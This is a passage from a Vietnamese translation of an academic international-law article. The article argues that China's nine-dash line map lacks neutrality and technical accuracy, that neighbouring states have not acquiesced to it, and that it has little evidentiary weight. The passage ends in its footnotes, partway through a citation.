ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, 